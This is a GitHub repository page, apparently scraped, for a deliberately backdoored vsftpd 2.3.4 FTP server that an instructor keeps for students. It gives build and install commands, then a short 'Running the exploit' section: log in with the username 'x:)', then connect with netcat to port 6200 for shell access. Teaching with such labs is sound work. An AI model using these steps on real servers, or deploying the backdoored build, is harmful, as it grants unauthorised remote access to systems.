Thanks to visit codestin.com
Credit goes to Github.com

Skip to content

This repository is a version of vsftpd-2.3.4 with the backdoor patch included. To be used as an example to demonstrate backdoor entry into another system.

License

Notifications You must be signed in to change notification settings

DoctorKisow/vsftpd-2.3.4

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

vsftpd-2.3.4

Preserved here for my students, review this for hints on how to remotely access the final project server.

This is a backdoored version of vsftpd which has been packaged and configured for the convience of performing an example backdoor into a system. vsftpd is an FTP server which was created by Chris Evans and is available at vsftpd.beasts.org, this repo uses version 2.3.4.

This backdoor which was maliciously added to the archive was introduced into the vsftpd-2.3.4 2011 but has since been removed, thus the reason for this repository.

The source for vsftp was https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz and the diff used in this repo was taken from http://pastebin.com/AetT9sS5.

Changes

  • vsftpd.conf to allow remote user login.
  • Make file to work with patch.
  • Core code, which now includes patch.

Requirements

These installation details are for ubuntu but should be able to be adapted for most distros.

 apt-get install build-essential
 apt-get install libpam0g-dev

Installation

Create users for use with FTP. May not have to do this if you previously used apt-get for vsftpd.

git https://github.com/DoctorKisow/vsftpd-2.3.4.git
cd vsftpd-2.3.4

# Required by the Ubuntu 20.04.06 LTS Compiler
chmod +x vsf_findlibs.sh

# Add "-lpam" to the end of the LIBS line at the top; then save.
nano Makefile
install -v -d -m 0755 /var/ftp/empty
install -v -d -m 0755 /home/ftp
groupadd -g 47 vsftpd
groupadd -g 48 ftp
useradd -c "vsftpd User"  -d /dev/null -g vsftpd -s /bin/false -u 47 vsftpd
useradd -c anonymous_user -d /home/ftp -g ftp    -s /bin/false -u 48 FTP
# Use make to create the executable.
make
# Install vsftpd and its modified configurations.

install -v -m 755 vsftpd        /usr/sbin/vsftpd
install -v -m 644 vsftpd.8      /usr/share/man/man8
install -v -m 644 vsftpd.conf.5 /usr/share/man/man5 
install -v -m 644 vsftpd.conf   /etc

Running the exploit

  1. On one node run vsftpd
  2. On another node connected to the network login to the server by using: ftp <server address>
  3. Once connected use the username 'x:)' with any password.
  4. Once the terminal hangs open another terminal and use nc <server address> 6200 and you're in!

About

This repository is a version of vsftpd-2.3.4 with the backdoor patch included. To be used as an example to demonstrate backdoor entry into another system.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 92.6%
  • Roff 6.7%
  • Other 0.7%